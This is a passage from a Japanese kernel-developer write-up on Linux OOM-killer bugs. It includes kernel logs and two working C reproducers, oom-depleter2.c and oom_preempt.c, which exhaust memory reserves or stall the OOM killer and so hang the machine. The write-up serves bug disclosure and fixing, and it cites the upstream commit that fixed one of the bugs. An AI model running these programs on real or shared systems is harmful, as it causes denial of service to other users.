[   85.974400] Node 0 DMA free:0kB min:400kB low:500kB high:600kB active_anon:14076kB inactive_anon:80kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:8kB shmem:80kB slab_reclaimable:144kB slab_unreclaimable:340kB kernel_stack:240kB pagetables:572kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:8 all_unreclaimable? yes
[   85.983232] lowmem_reserve[]: 0 1731 1731 1731
[   85.984550] Node 0 DMA32 free:16kB min:44652kB low:55812kB high:66976kB active_anon:1681076kB inactive_anon:8260kB active_file:0kB inactive_file:4kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774392kB mlocked:0kB dirty:0kB writeback:0kB mapped:1556kB shmem:8504kB slab_reclaimable:6612kB slab_unreclaimable:21264kB kernel_stack:19328kB pagetables:7920kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   85.994326] lowmem_reserve[]: 0 0 0 0
[   85.995638] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   85.998389] Node 0 DMA32: 3*4kB (UM) 1*8kB (U) 1*16kB (U) 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 36kB
[   86.001506] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   86.003604] 2147 total pagecache pages
[   86.004878] 0 pages in swap cache
[   86.006083] Swap cache stats: add 0, delete 0, find 0/0
[   86.007638] Free swap  = 0kB
[   86.008793] Total swap = 0kB
[   86.009941] 524157 pages RAM
[   86.011089] 0 pages HighMem/MovableOnly
[   86.012413] 76583 pages reserved
[   86.013632] 0 pages hwpoisoned
[  125.269135] sysrq: SysRq : Show State
[  125.270536]   task                        PC stack   pid father
[  125.272269] systemd         S ffff88007cc07a08     0     1      0 0x00000000
[  125.274343]  ffff88007cc07a08 ffff88007cc08000 ffff88007cc08000 ffff88007cc07a40
[  125.276505]  ffff88007fc0db00 00000000fffd55be ffff88007fffc000 ffff88007cc07a20
[  125.278661]  ffffffff8161793e ffff88007fc0db00 ffff88007cc07aa8 ffffffff81619fcd
[  125.280844] Call Trace:
[  125.282076]  [<ffffffff8161793e>] schedule+0x2e/0x70
[  125.283698]  [<ffffffff81619fcd>] schedule_timeout+0x11d/0x1c0
[  125.285481]  [<ffffffff810be7c0>] ? cascade+0x90/0x90
[  125.287131]  [<ffffffff8111caef>] ? pfmemalloc_watermark_ok+0xaf/0xe0
[  125.289038]  [<ffffffff8111ccee>] throttle_direct_reclaim+0x1ce/0x240
[  125.290955]  [<ffffffff810a0870>] ? wait_woken+0x80/0x80
[  125.292676]  [<ffffffff81120bd0>] try_to_free_pages+0x80/0xc0
[  125.294478]  [<ffffffff81114e14>] __alloc_pages_nodemask+0x504/0x930
[  125.296401]  [<ffffffff8110cb07>] ? __page_cache_alloc+0x97/0xb0
[  125.298283]  [<ffffffff8115576c>] alloc_pages_current+0x8c/0x100
[  125.300141]  [<ffffffff8110cb07>] __page_cache_alloc+0x97/0xb0
[  125.301977]  [<ffffffff8110e728>] filemap_fault+0x218/0x490
[  125.303759]  [<ffffffff81237c79>] xfs_filemap_fault+0x39/0x60
[  125.305576]  [<ffffffff81132e69>] __do_fault+0x49/0xf0
[  125.307273]  [<ffffffff8113809f>] handle_mm_fault+0xe7f/0x1960
[  125.309100]  [<ffffffff811bac6e>] ? ep_scan_ready_list.isra.12+0x19e/0x1c0
[  125.311114]  [<ffffffff811badce>] ? ep_poll+0x11e/0x320
[  125.312841]  [<ffffffff81055c9c>] __do_page_fault+0x17c/0x400
[  125.314643]  [<ffffffff81055f50>] do_page_fault+0x30/0x80
[  125.316363]  [<ffffffff8161c918>] page_fault+0x28/0x30
(...snipped...)
[  130.699717] oom-depleter    x ffff88007c06bc28     0  3797      1 0x00000086
[  130.701724]  ffff88007c06bc28 ffff88007a623e80 ffff88007c06c000 ffff88007a6241d0
[  130.703703]  ffff88007c6373e8 ffff88007a623e80 ffff88007cc08000 ffff88007c06bc40
[  130.705678]  ffffffff8161793e ffff88007a624450 ffff88007c06bcb0 ffffffff8106b0d7
[  130.707654] Call Trace:
[  130.708632]  [<ffffffff8161793e>] schedule+0x2e/0x70
[  130.710064]  [<ffffffff8106b0d7>] do_exit+0x677/0xae0
[  130.711535]  [<ffffffff8106b5ba>] do_group_exit+0x3a/0xb0
[  130.713037]  [<ffffffff81074d4f>] get_signal+0x17f/0x540
[  130.714537]  [<ffffffff8100e302>] do_signal+0x32/0x650
[  130.715991]  [<ffffffff81099ffc>] ? load_balance+0x1bc/0x8b0
[  130.717545]  [<ffffffff8100362d>] prepare_exit_to_usermode+0x9d/0xf0
[  130.719275]  [<ffffffff81003753>] syscall_return_slowpath+0xd3/0x1d0
[  130.720973]  [<ffffffff816173a4>] ? __schedule+0x274/0x7e0
[  130.722536]  [<ffffffff8161793e>] ? schedule+0x2e/0x70
[  130.723989]  [<ffffffff8161af4c>] int_ret_from_sys_call+0x25/0x8f
(...snipped...)
[  157.243284] oom-depleter    R  running task        0  4797      1 0x00000084
[  157.245131]  ffff88006c482580 000000004ecba3fc ffff88007fc83c38 ffffffff8108d14a
[  157.247105]  ffff88006c482580 ffff88006c4827c0 ffff88007fc83c78 ffffffff8108d23d
[  157.249092]  ffff88006c482970 000000004ecba3fc ffffffff8188b780 0000000000000074
[  157.251054] Call Trace:
[  157.252018]  <IRQ>  [<ffffffff8108d14a>] sched_show_task+0xaa/0x110
[  157.253740]  [<ffffffff8108d23d>] show_state_filter+0x8d/0xc0
[  157.255258]  [<ffffffff813cd31b>] sysrq_handle_showstate+0xb/0x20
[  157.256898]  [<ffffffff813cda24>] __handle_sysrq+0xf4/0x150
[  157.258442]  [<ffffffff813cde10>] sysrq_filter+0x360/0x3a0
[  157.259974]  [<ffffffff81497c12>] input_to_handler+0x52/0x100
[  157.261552]  [<ffffffff81499797>] input_pass_values.part.5+0x167/0x180
[  157.263270]  [<ffffffff81499afb>] input_handle_event+0xfb/0x4f0
[  157.264875]  [<ffffffff81499f3e>] input_event+0x4e/0x70
[  157.266366]  [<ffffffff814a18eb>] atkbd_interrupt+0x5bb/0x6a0
[  157.267929]  [<ffffffff81495101>] serio_interrupt+0x41/0x80
[  157.269457]  [<ffffffff81495d7a>] i8042_interrupt+0x1da/0x3a0
[  157.271017]  [<ffffffff810b0d3b>] handle_irq_event_percpu+0x2b/0x100
[  157.272678]  [<ffffffff810b0e4a>] handle_irq_event+0x3a/0x60
[  157.274224]  [<ffffffff810b3cb6>] handle_edge_irq+0xa6/0x140
[  157.275759]  [<ffffffff81010ad9>] handle_irq+0x19/0x30
[  157.277187]  [<ffffffff81010478>] do_IRQ+0x48/0xd0
[  157.278563]  [<ffffffff8161b8c7>] common_interrupt+0x87/0x87
[  157.280091]  <EOI>  [<ffffffff810a2eb9>] ? native_queued_spin_lock_slowpath+0x19/0x180
[  157.282070]  [<ffffffff8161a95c>] _raw_spin_lock+0x1c/0x20
[  157.283597]  [<ffffffff81130bcd>] __list_lru_count_one.isra.4+0x1d/0x50
[  157.285316]  [<ffffffff81130c1e>] list_lru_count_one+0x1e/0x20
[  157.286898]  [<ffffffff8117d610>] super_cache_count+0x50/0xd0
[  157.288477]  [<ffffffff8111d1d4>] shrink_slab.part.41+0xf4/0x280
[  157.290087]  [<ffffffff81120510>] shrink_zone+0x2c0/0x2d0
[  157.291595]  [<ffffffff81120894>] do_try_to_free_pages+0x164/0x420
[  157.293242]  [<ffffffff81120be4>] try_to_free_pages+0x94/0xc0
[  157.294799]  [<ffffffff81114e14>] __alloc_pages_nodemask+0x504/0x930
[  157.296474]  [<ffffffff811569f0>] alloc_pages_vma+0xb0/0x1f0
[  157.298019]  [<ffffffff811385c0>] handle_mm_fault+0x13a0/0x1960
[  157.299606]  [<ffffffff8112ffce>] ? vmacache_find+0x1e/0xc0
[  157.301131]  [<ffffffff81055c9c>] __do_page_fault+0x17c/0x400
[  157.302676]  [<ffffffff81055f50>] do_page_fault+0x30/0x80
[  157.304169]  [<ffffffff81096b59>] ? set_next_entity+0x69/0x360
[  157.305737]  [<ffffffff8161c918>] page_fault+0x28/0x30
[  157.307186]  [<ffffffff813124c0>] ? __clear_user+0x20/0x50
[  157.308699]  [<ffffffff81316dd8>] iov_iter_zero+0x68/0x250
[  157.310210]  [<ffffffff813e9ef8>] read_iter_zero+0x38/0xa0
[  157.311713]  [<ffffffff8117ad04>] __vfs_read+0xc4/0xf0
[  157.313155]  [<ffffffff8117b489>] vfs_read+0x79/0x120
[  157.314575]  [<ffffffff8117c1a0>] SyS_read+0x50/0xc0
[  157.315980]  [<ffffffff8161adee>] entry_SYSCALL_64_fastpath+0x12/0x71
[  157.317649] Showing busy workqueues and worker pools:
[  157.319070] workqueue events: flags=0x0
[  157.320261]   pwq 2: cpus=1 node=0 flags=0x0 nice=0 active=4/256
[  157.321980]     pending: vmstat_shepherd, vmstat_update, e1000_watchdog [e1000], vmpressure_work_fn
[  157.324279] workqueue events_freezable: flags=0x4
[  157.325652]   pwq 2: cpus=1 node=0 flags=0x0 nice=0 active=1/256
[  157.327373]     pending: vmballoon_work [vmw_balloon]
[  157.328859] workqueue events_power_efficient: flags=0x80
[  157.330343]   pwq 2: cpus=1 node=0 flags=0x0 nice=0 active=1/256
[  157.332067]     pending: neigh_periodic_work
[  157.333431] workqueue events_freezable_power_: flags=0x84
[  157.334941]   pwq 2: cpus=1 node=0 flags=0x0 nice=0 active=1/256
[  157.336684]     in-flight: 228:disk_events_workfn
[  157.338168] workqueue xfs-log/sda1: flags=0x14
[  157.339473]   pwq 7: cpus=3 node=0 flags=0x0 nice=-20 active=2/256
[  157.341255]     in-flight: 1369:xfs_log_worker
[  157.342674]     pending: xfs_buf_ioend_work
[  157.344066] pool 2: cpus=1 node=0 flags=0x0 nice=0 workers=3 idle: 43 14
[  157.346039] pool 7: cpus=3 node=0 flags=0x0 nice=-20 workers=2 manager: 27
[  185.044658] sysrq: SysRq : Show Memory
[  185.045975] Mem-Info:
[  185.046968] active_anon:423788 inactive_anon:2085 isolated_anon:0
[  185.046968]  active_file:0 inactive_file:1 isolated_file:0
[  185.046968]  unevictable:0 dirty:0 writeback:0 unstable:0
[  185.046968]  slab_reclaimable:1689 slab_unreclaimable:5401
[  185.046968]  mapped:391 shmem:2146 pagetables:2123 bounce:0
[  185.046968]  free:4 free_pcp:0 free_cma:0
[  185.056165] Node 0 DMA free:0kB min:400kB low:500kB high:600kB active_anon:14076kB inactive_anon:80kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:8kB shmem:80kB slab_reclaimable:144kB slab_unreclaimable:340kB kernel_stack:240kB pagetables:572kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:8 all_unreclaimable? yes
[  185.066444] lowmem_reserve[]: 0 1731 1731 1731
[  185.068083] Node 0 DMA32 free:16kB min:44652kB low:55812kB high:66976kB active_anon:1681076kB inactive_anon:8260kB active_file:0kB inactive_file:4kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774392kB mlocked:0kB dirty:0kB writeback:0kB mapped:1556kB shmem:8504kB slab_reclaimable:6612kB slab_unreclaimable:21264kB kernel_stack:19328kB pagetables:7920kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  185.079186] lowmem_reserve[]: 0 0 0 0
[  185.080783] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[  185.083790] Node 0 DMA32: 3*4kB (UM) 1*8kB (U) 1*16kB (U) 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 36kB
[  185.087232] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  185.089572] 2147 total pagecache pages
[  185.091096] 0 pages in swap cache
[  185.092469] Swap cache stats: add 0, delete 0, find 0/0
[  185.094288] Free swap  = 0kB
[  185.095671] Total swap = 0kB
[  185.097075] 524157 pages RAM
[  185.098466] 0 pages HighMem/MovableOnly
[  185.100005] 76583 pages reserved
[  185.101435] 0 pages hwpoisoned
[  205.509157] sysrq: SysRq : Resetting
---------- 実行結果例 ここまで ----------

その結果、この時間差を利用して予約メモリを枯渇させることができました。この結果に対して、「 SIGKILL シグナルの送信を TIF_MEMDIE フラグの付与直後に行うようにしてみては?」とコメントされたことから、違う方法を使って同じ結果になることを示しました。

---------- oom-depleter2.c start ----------
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/klog.h>

static int zero_fd = -1;
static char *buf = NULL;
static unsigned long size = 0;

static int trigger(void *unused)
{
        {
                struct sched_param sp = { };
                sched_setscheduler(0, SCHED_IDLE, &sp);
        }
        read(zero_fd, buf, size); /* Will cause OOM due to overcommit */
        return 0;
}

int main(int argc, char *argv[])
{
        unsigned long i;
        zero_fd = open("/dev/zero", O_RDONLY);
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        /* Let a child thread trigger the OOM killer. */
        clone(trigger, malloc(4096) + 4096, CLONE_SIGHAND | CLONE_VM, NULL);
        {
                struct sched_param sp = { 99 };
                sched_setscheduler(0, SCHED_FIFO, &sp);
        }
        /* Wait until the OOM killer messages appear. */
        while (1) {
                i = klogctl(2, buf, size - 1);
                if (i > 0) {
                        buf[i] = '\0';
                        if (strstr(buf, "Killed process "))
                                break;
                }
        }
        /* Deplete all memory reserve. */
        for (i = size; i; i -= 4096)
                buf[i - 1] = 1;
        return * (char *) NULL; /* Kill all threads. */
}
---------- oom-depleter2.c start ----------

# taskset -c 0 ./oom-depleter2

---------- 実行結果例 ここから ----------
[   47.069197] oom-depleter2 invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[   47.070651] oom-depleter2 cpuset=/ mems_allowed=0
[   47.072982] CPU: 0 PID: 3851 Comm: oom-depleter2 Tainted: G        W       4.2.0-rc7-next-20150824+ #85
[   47.074683] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   47.076583]  0000000000000000 00000000115c5c6c ffff88007ca2f8c8 ffffffff81313283
[   47.078014]  ffff88007890f2c0 ffff88007ca2f970 ffffffff8117ff7d 0000000000000000
[   47.079438]  0000000000000202 0000000000000018 0000000000000001 0000000000000202
[   47.080856] Call Trace:
[   47.081335]  [<ffffffff81313283>] dump_stack+0x4b/0x78
[   47.082233]  [<ffffffff8117ff7d>] dump_header+0x82/0x232
[   47.083234]  [<ffffffff81627645>] ? _raw_spin_unlock_irqrestore+0x25/0x30
[   47.084447]  [<ffffffff810fe041>] ? delayacct_end+0x51/0x60
[   47.085483]  [<ffffffff81114fd2>] oom_kill_process+0x372/0x3c0
[   47.086551]  [<ffffffff81071cd0>] ? has_ns_capability_noaudit+0x30/0x40
[   47.087715]  [<ffffffff81071cf2>] ? has_capability_noaudit+0x12/0x20
[   47.088874]  [<ffffffff8111528d>] out_of_memory+0x21d/0x4a0
[   47.089915]  [<ffffffff8111a774>] __alloc_pages_nodemask+0x904/0x930
[   47.091010]  [<ffffffff8115d080>] alloc_pages_vma+0xb0/0x1f0
[   47.092042]  [<ffffffff8113df77>] handle_mm_fault+0x13a7/0x1950
[   47.093076]  [<ffffffff816287cd>] ? retint_kernel+0x1b/0x1d
[   47.094108]  [<ffffffff81628837>] ? native_iret+0x7/0x7
[   47.095108]  [<ffffffff810565bb>] __do_page_fault+0x18b/0x440
[   47.096109]  [<ffffffff810568a0>] do_page_fault+0x30/0x80
[   47.097052]  [<ffffffff816297e8>] page_fault+0x28/0x30
[   47.098544]  [<ffffffff81320ae0>] ? __clear_user+0x20/0x50
[   47.099651]  [<ffffffff813254b8>] iov_iter_zero+0x68/0x250
[   47.100642]  [<ffffffff810920f6>] ? sched_clock_cpu+0x86/0xc0
[   47.101701]  [<ffffffff813f9018>] read_iter_zero+0x38/0xa0
[   47.102754]  [<ffffffff81183ec4>] __vfs_read+0xc4/0xf0
[   47.103684]  [<ffffffff81184639>] vfs_read+0x79/0x120
[   47.104630]  [<ffffffff81185350>] SyS_read+0x50/0xc0
[   47.105503]  [<ffffffff8108bd9c>] ? do_sched_setscheduler+0x7c/0xb0
[   47.106637]  [<ffffffff81627cae>] entry_SYSCALL_64_fastpath+0x12/0x71
[   47.109307] Mem-Info:
[   47.109801] active_anon:416244 inactive_anon:3737 isolated_anon:0
[   47.109801]  active_file:0 inactive_file:474 isolated_file:0
[   47.109801]  unevictable:0 dirty:0 writeback:0 unstable:0
[   47.109801]  slab_reclaimable:1114 slab_unreclaimable:3896
[   47.109801]  mapped:96 shmem:4188 pagetables:1014 bounce:0
[   47.109801]  free:12368 free_pcp:183 free_cma:0
[   47.118364] Node 0 DMA free:7316kB min:400kB low:500kB high:600kB active_anon:7056kB inactive_anon:232kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:296kB slab_reclaimable:52kB slab_unreclaimable:216kB kernel_stack:16kB pagetables:308kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:28 all_unreclaimable? yes
[   47.129538] lowmem_reserve[]: 0 1731 1731 1731
[   47.131230] Node 0 DMA32 free:44016kB min:44652kB low:55812kB high:66976kB active_anon:1657920kB inactive_anon:14716kB active_file:0kB inactive_file:32kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774256kB mlocked:0kB dirty:0kB writeback:0kB mapped:384kB shmem:16456kB slab_reclaimable:4404kB slab_unreclaimable:15368kB kernel_stack:3264kB pagetables:3748kB unstable:0kB bounce:0kB free_pcp:796kB local_pcp:56kB free_cma:0kB writeback_tmp:0kB pages_scanned:124 all_unreclaimable? no
[   47.143246] lowmem_reserve[]: 0 0 0 0
[   47.145175] Node 0 DMA: 17*4kB (UE) 9*8kB (UE) 9*16kB (UEM) 1*32kB (M) 1*64kB (M) 2*128kB (UE) 2*256kB (EM) 2*512kB (EM) 1*1024kB (E) 2*2048kB (EM) 0*4096kB = 7292kB
[   47.152896] Node 0 DMA32: 1009*4kB (UEM) 617*8kB (UEM) 268*16kB (UEM) 118*32kB (UEM) 43*64kB (UEM) 13*128kB (UEM) 11*256kB (UEM) 10*512kB (UM) 12*1024kB (UM) 1*2048kB (U) 0*4096kB = 43724kB
[   47.161214] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   47.163987] 4649 total pagecache pages
[   47.166121] 0 pages in swap cache
[   47.168500] Swap cache stats: add 0, delete 0, find 0/0
[   47.170238] Free swap  = 0kB
[   47.171764] Total swap = 0kB
[   47.173270] 524157 pages RAM
[   47.174520] 0 pages HighMem/MovableOnly
[   47.175930] 76617 pages reserved
[   47.178043] 0 pages hwpoisoned
[   47.179584] [ pid ]   uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name
[   47.182065] [ 3820]     0  3820    10756      168      24       3        0             0 systemd-journal
[   47.184504] [ 3823]     0  3823    10262      101      23       3        0         -1000 systemd-udevd
[   47.186847] [ 3824]     0  3824    27503       33      12       3        0             0 agetty
[   47.189291] [ 3825]     0  3825     8673       84      23       3        0             0 systemd-logind
[   47.191691] [ 3826]     0  3826    21787      154      48       3        0             0 login
[   47.193959] [ 3828]    81  3828     6609       82      18       3        0          -900 dbus-daemon
[   47.196297] [ 3831]     0  3831    28878       93      15       3        0             0 bash
[   47.198573] [ 3850]     0  3850   541715   414661     820       6        0             0 oom-depleter2
[   47.200915] [ 3851]     0  3851   541715   414661     820       6        0             0 oom-depleter2
[   47.203410] Out of memory: Kill process 3850 (oom-depleter2) score 900 or sacrifice child
[   47.205695] Killed process 3850 (oom-depleter2) total-vm:2166860kB, anon-rss:1658644kB, file-rss:0kB
[   47.257871] oom-depleter2: page allocation failure: order:0, mode:0x280da
[   47.260006] CPU: 0 PID: 3850 Comm: oom-depleter2 Tainted: G        W       4.2.0-rc7-next-20150824+ #85
[   47.262473] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   47.265184]  0000000000000000 000000000f39672f ffff880036febbe0 ffffffff81313283
[   47.267511]  00000000000280da ffff880036febc70 ffffffff81116e04 0000000000000000
[   47.269815]  ffffffff00000000 ffff88007fc19730 ffff880000000004 ffffffff810a30cf
[   47.272019] Call Trace:
[   47.273283]  [<ffffffff81313283>] dump_stack+0x4b/0x78
[   47.275081]  [<ffffffff81116e04>] warn_alloc_failed+0xf4/0x150
[   47.276962]  [<ffffffff810a30cf>] ? __wake_up+0x3f/0x50
[   47.278700]  [<ffffffff8111a0bc>] __alloc_pages_nodemask+0x24c/0x930
[   47.280664]  [<ffffffff8115d080>] alloc_pages_vma+0xb0/0x1f0
[   47.282422]  [<ffffffff8113df77>] handle_mm_fault+0x13a7/0x1950
[   47.284240]  [<ffffffff810565bb>] __do_page_fault+0x18b/0x440
[   47.286036]  [<ffffffff810568a0>] do_page_fault+0x30/0x80
[   47.287693]  [<ffffffff816297e8>] page_fault+0x28/0x30
[   47.289358] Mem-Info:
[   47.290494] active_anon:429031 inactive_anon:3737 isolated_anon:0
[   47.290494]  active_file:0 inactive_file:0 isolated_file:0
[   47.290494]  unevictable:0 dirty:0 writeback:0 unstable:0
[   47.290494]  slab_reclaimable:1114 slab_unreclaimable:3896
[   47.290494]  mapped:96 shmem:4188 pagetables:1014 bounce:0
[   47.290494]  free:0 free_pcp:180 free_cma:0
[   47.299662] Node 0 DMA free:8kB min:400kB low:500kB high:600kB active_anon:14308kB inactive_anon:232kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:296kB slab_reclaimable:52kB slab_unreclaimable:216kB kernel_stack:16kB pagetables:308kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:28 all_unreclaimable? yes
[   47.309430] lowmem_reserve[]: 0 1731 1731 1731
[   47.311000] Node 0 DMA32 free:0kB min:44652kB low:55812kB high:66976kB active_anon:1701816kB inactive_anon:14716kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774256kB mlocked:0kB dirty:0kB writeback:0kB mapped:384kB shmem:16456kB slab_reclaimable:4404kB slab_unreclaimable:15368kB kernel_stack:3264kB pagetables:3748kB unstable:0kB bounce:0kB free_pcp:720kB local_pcp:24kB free_cma:0kB writeback_tmp:0kB pages_scanned:5584 all_unreclaimable? yes
[   47.321601] lowmem_reserve[]: 0 0 0 0
[   47.323166] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   47.326070] Node 0 DMA32: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   47.329018] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   47.331385] 4189 total pagecache pages
[   47.332896] 0 pages in swap cache
[   47.334262] Swap cache stats: add 0, delete 0, find 0/0
[   47.335990] Free swap  = 0kB
[   47.337390] Total swap = 0kB
[   47.338656] 524157 pages RAM
[   47.339964] 0 pages HighMem/MovableOnly
[   47.341464] 76617 pages reserved
[   47.342808] 0 pages hwpoisoned
(...snipped...)
[   93.082032] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   93.082034] Node 0 DMA32: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
---------- 実行結果例 ここまで ----------

oom-depleter2 は、リアルタイムの優先度でカーネルのメッセージバッファから読み出しを行うために、例外的に root ユーザの権限を必要とする再現プログラムです。しかし、タイミングをより厳密に制御する以外の目的は無いので、タイミングさえ一致すれば一般ユーザの権限でも再現できるでしょう。

結局、 task_lock() と task_unlock() の間で SIGKILL シグナルを送信しても安全だということが判明したため、 commit 426fb5e72d92b868 ("mm/oom_kill.c: reverse the order of setting TIF_MEMDIE and sending SIGKILL") というパッチにより修正されました。

2015年9月 プリエンプションが OOM killer の処理を遅らせてしまう問題

kswapd による非同期でのメモリ回収が追いつかない場合は、 direct reclaim によるメモリ回収を行います。そのため、無数のプロセスが一斉にメモリ割り当て要求を行った場合、一斉に direct reclaim を実行してしまいます。その結果、特に、反応までの遅延時間を軽減するために CONFIG_PREEMPT=y というカーネルコンフィグを指定してコンパイルしたカーネルでは、 OOM killer の処理の開始後、現実的な時間内に OOM killer の処理が終わらない状況が発生しやすくなります。そして、この問題は、 OOM reaper が導入された現在でも存在しています。

---------- oom_preempt.c ----------
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>

static cpu_set_t set = { { 1 } }; /* Allow only CPU 0. */
static char filename[32] = { };

/* down_read(&mm->mmap_sem) requester. */
static int reader(void *unused)
{
        const int fd = open(filename, O_RDONLY);
        char buffer[128];
        sched_setaffinity(0, sizeof(set), &set);
        sleep(2);
        while (pread(fd, buffer, sizeof(buffer), 0) > 0);
        while (1)
                pause();
        return 0;
}

/* down_write(&mm->mmap_sem) requester. */
static int writer(void *unused)
{
        const int fd = open("/proc/self/exe", O_RDONLY);
        sleep(2);
        while (1) {
                void *ptr = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, fd, 0);
                munmap(ptr, 4096);
        }
        return 0;
}

static void my_clone(int (*func) (void *))
{
        char *stack = malloc(4096);
        if (stack)
                clone(func, stack + 4096,
                      CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, NULL);
}

/* Memory consumer for invoking the OOM killer. */
static void memory_eater(void) {
        char *buf = NULL;
        unsigned long i;
        unsigned long size = 0;
        sleep(4);
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        fprintf(stderr, "Start eating memory\n");
        for (i = 0; i < size; i += 4096)
                buf[i] = '\0'; /* Will cause OOM due to overcommit */
}

int main(int argc, char *argv[])
{
        int i;
        const pid_t pid = fork();
        if (pid == 0) {
                for (i = 0; i < 9; i++)
                        my_clone(writer);
                writer(NULL);
                _exit(0);
        } else if (pid > 0) {
                snprintf(filename, sizeof(filename), "/proc/%u/stat", pid);
                for (i = 0; i < 100000; i++)
                        my_clone(reader);
        }
        memory_eater();
        return *(char *) NULL; /* Not reached. */
}
---------- oom_preempt.c ----------
---------- 実行結果例 ここから ----------
[   54.702339] oom_preempt invoked oom-killer: gfp_mask=0x24201ca(GFP_HIGHUSER_MOVABLE|__GFP_COLD), order=0, oom_score_adj=0
[   54.705590] oom_preempt cpuset=/ mems_allowed=0
[   74.525856] CPU: 0 PID: 4436 Comm: oom_preempt Not tainted 4.7.0-rc5 #57
[   74.528056] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   74.530951]  0000000000000286 00000000a8634c59 ffff88007a8ab9f8 ffffffff812c32a7
[   74.533292]  ffff88007a8abbe0 0000000000000000 ffff88007a8aba90 ffffffff81188781
[   74.535723]  ffffffff810fde71 0000000000000001 0000000000000003 ffff88007fffdb10
[   74.538167] Call Trace:
[   74.539653]  [<ffffffff812c32a7>] dump_stack+0x4f/0x68
[   74.541537]  [<ffffffff81188781>] dump_header+0x5b/0x200
[   74.543392]  [<ffffffff810fde71>] ? delayacct_end+0x51/0x60
[   74.545329]  [<ffffffff8108041e>] ? preempt_count_add+0x9e/0xb0
[   74.547618]  [<ffffffff815dce13>] ? _raw_spin_unlock_irqrestore+0x13/0x30
[   74.549894]  [<ffffffff811187d1>] oom_kill_process+0x221/0x420
[   74.551888]  [<ffffffff81117e1b>] ? find_lock_task_mm+0x4b/0x80
[   74.553936]  [<ffffffff81118cad>] out_of_memory+0x28d/0x480
[   74.556059]  [<ffffffff8111d20a>] __alloc_pages_nodemask+0xa5a/0xc20
[   74.558245]  [<ffffffff811143ff>] ? __page_cache_alloc+0xaf/0xc0
[   74.560278]  [<ffffffff81162563>] alloc_pages_current+0x83/0x110
[   74.562319]  [<ffffffff811143ff>] __page_cache_alloc+0xaf/0xc0
[   74.564328]  [<ffffffff81116fda>] filemap_fault+0x27a/0x500
[   74.566237]  [<ffffffff81246859>] xfs_filemap_fault+0x39/0x60
[   74.568308]  [<ffffffff8113d58e>] __do_fault+0x6e/0xf0
